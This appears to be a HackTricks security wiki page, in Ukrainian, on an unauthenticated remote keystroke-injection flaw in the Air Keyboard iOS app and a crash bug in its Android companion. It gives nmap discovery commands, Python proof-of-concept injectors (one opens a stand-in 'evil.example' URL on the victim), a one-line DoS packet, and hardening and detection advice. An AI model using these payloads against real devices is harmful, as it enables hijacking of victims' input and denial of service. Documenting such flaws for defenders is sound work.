# Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener) {{#include ../../banners/hacktricks-training.md}} ## TL;DR iOS версія комерційного **“Air Keyboard”** додатку (App Store ID 6463187929) відкриває локальну мережеву службу, яка **приймає кадри натискань клавіш без будь-якої аутентифікації або перевірки походження**. В залежності від встановленої версії служба є: * **≤ 1.0.4** – сирий TCP слухач на **порті 8888**, який очікує заголовок довжини 2 байти, за яким слідує *device-id* та ASCII навантаження. * **≥ 1.0.5 (червень 2025)** – **WebSocket** слухач на *тому ж* порту (**8888**), який парсить **JSON** ключі, такі як `{"type":1,"text":"…"}`. Будь-який пристрій в тій же Wi-Fi / підмережі може **впроваджувати довільний ввід з клавіатури в телефон жертви, досягаючи повного віддаленого захоплення взаємодії**. Супутня Android версія слухає на **порті 55535**. Вона виконує слабкий AES-ECB хендшейк, але створене сміття все ще викликає **некероване виключення всередині OpenSSL**, що призводить до аварійного завершення фонової служби (**DoS**). > Уразливість **досі не виправлена на момент написання (липень 2025)**, і додаток залишається доступним в App Store. --- ## 1. Виявлення служби Скануйте локальну мережу та шукайте два фіксовані порти, які використовуються додатками: ```bash # iOS (unauthenticated input-injection) nmap -p 8888 --open 192.168.1.0/24 # Android (weakly-authenticated service) nmap -p 55535 --open 192.168.1.0/24 ``` На пристроях Android ви можете локально визначити відповідний пакет: ```bash adb shell netstat -tulpn | grep 55535 # no root required on emulator # rooted device / Termux netstat -tulpn | grep LISTEN ls -l /proc//cmdline # map PID → package name ``` На **jailbroken iOS** ви можете зробити щось подібне до `lsof -i -nP | grep LISTEN | grep 8888`. --- ## 2. Протокольні деталі (iOS) ### 2.1 Спадковий (≤ 1.0.4) – користувацькі бінарні фрейми ``` [length (2 bytes little-endian)] [device_id (1 byte)] [payload ASCII keystrokes] ``` Заявлена *довжина* включає байт `device_id` **але не** два байти заголовка. ### 2.2 Поточна (≥ 1.0.5) – JSON через WebSocket Версія 1.0.5 безшумно перейшла на WebSockets, зберігаючи номер порту незмінним. Мінімальний натиск клавіші виглядає так: ```json { "type": 1, // 1 = insert text, 2 = special key "text": "open -a Calculator\n", "mode": 0, "shiftKey": false, "selectionStart": 0, "selectionEnd": 0 } ``` Не потрібен жоден хендшейк, токен або підпис – перший JSON об'єкт вже викликає подію UI. --- ## 3. Експлуатація PoC ### 3.1 Цілеві ≤ 1.0.4 (сирий TCP) ```python #!/usr/bin/env python3 """Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)""" import socket, sys target_ip = sys.argv[1] # e.g. 192.168.1.50 keystrokes = b"open -a Calculator\n" # payload visible to the user frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8]) frame += b"\x01" # device_id = 1 (hard-coded) frame += keystrokes with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) print("[+] Injected", keystrokes) ``` ### 3.2 Цілевказування ≥ 1.0.5 (WebSocket) ```python #!/usr/bin/env python3 """Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)""" import json, sys, websocket # `pip install websocket-client` target_ip = sys.argv[1] ws = websocket.create_connection(f"ws://{target_ip}:8888") ws.send(json.dumps({ "type": 1, "text": "https://evil.example\n", "mode": 0, "shiftKey": False, "selectionStart": 0, "selectionEnd": 0 })) ws.close() print("[+] URL opened on target browser") ``` *Будь-який друкований ASCII — включаючи переводи рядків, табуляції та більшість спеціальних клавіш — може бути надісланий, надаючи зловмиснику таку ж силу, як і фізичний ввід користувача: запуск додатків, надсилання IM, відкриття шкідливих URL, перемикання налаштувань тощо.* --- ## 4. Android Companion – Відмова в обслуговуванні Android порт (55535) очікує **4-символьний пароль, зашифрований за допомогою жорстко закодованого AES-128-ECB ключа**, за яким слідує випадковий nonce. Помилки парсингу піднімаються до `AES_decrypt()` і не перехоплюються, що призводить до завершення потоку прослуховування. Один неправильно сформований пакет, отже, достатній, щоб утримувати законних користувачів відключеними, поки процес не буде перезапущено. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS ``` --- ## 5. Супутні додатки – Повторювана антипатерн Air Keyboard **не є ізольованим випадком**. Інші мобільні утиліти “віддалена клавіатура/миша” мають ту ж саму вразливість: * **Telepad ≤ 1.0.7** – CVE-2022-45477/78 дозволяє неавтентифіковане виконання команд та ведення журналу клавіш у відкритому тексті. * **PC Keyboard ≤ 30** – CVE-2022-45479/80 неавтентифіковане RCE та перехоплення трафіку. * **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 за замовчуванням без пароля, слабкий PIN брутфорс та витік у відкритому тексті. Ці випадки підкреслюють систематичне нехтування **мережевими поверхнями атаки на мобільних додатках**. --- ## 6. Корінні причини 1. **Відсутність перевірок походження / цілісності** на вхідних кадрах (iOS). 2. **Неправильне використання криптографії** (статичний ключ, ECB, відсутня перевірка довжини) та **відсутність обробки виключень** (Android). 3. **Право доступу до локальної мережі, надане користувачем ≠ безпека** – iOS запитує згоду на виконання LAN-трафіку, але це не замінює належну автентифікацію. --- ## 7. Укріплення та захисні заходи Рекомендації для розробників: * Прив'язати слухача до **`127.0.0.1`** та тунелювати через **mTLS** або **Noise XX**, якщо потрібен віддалений контроль. * Виводити **секрети на пристрій під час onboarding** (наприклад, QR-код або PIN для спарювання) та забезпечити *взаємну* автентифікацію перед обробкою введення. * Прийняти **Apple Network Framework** з *NWListener* + TLS замість сирих сокетів. * Реалізувати **перевірки цілісності з префіксом довжини** та структуровану обробку виключень під час розшифрування або декодування кадрів. Швидкі виграші для Blue-/Red-Team: * **Мережеве полювання:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` або фільтр Wireshark `tcp.port == 8888`. * **Перевірка в реальному часі:** скрипт Frida, що підключає `socket()`/`NWConnection` для переліку несподіваних слухачів. * **Звіт про конфіденційність додатків iOS (Налаштування ▸ Конфіденційність та безпека ▸ Звіт про конфіденційність додатків)** підкреслює додатки, які контактують з LAN-адресами – корисно для виявлення зловмисних сервісів. * **Мобільні EDR** можуть додати прості правила Yara-L для JSON-ключів `"selectionStart"`, `"selectionEnd"` всередині відкритих TCP-пейлоадів на порту 8888. --- ## Лист для виявлення (Pentesters) ```bash # Locate vulnerable devices in a /24 and print IP + list of open risky ports nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \ | awk '/Ports/{print $2 " " $4}' # Inspect running sockets on a connected Android target adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \ echo -n \"$p → \"; cat /proc/$p/cmdline; done" ``` --- ## Посилання - [Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 Remote Input Injection](https://www.exploit-db.com/exploits/52333) - [Mobile-Hacker Blog (17 Jul 2025) – Уразливість віддаленого введення в Air Keyboard iOS App досі не виправлена](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/) {{#include ../../banners/hacktricks-training.md}}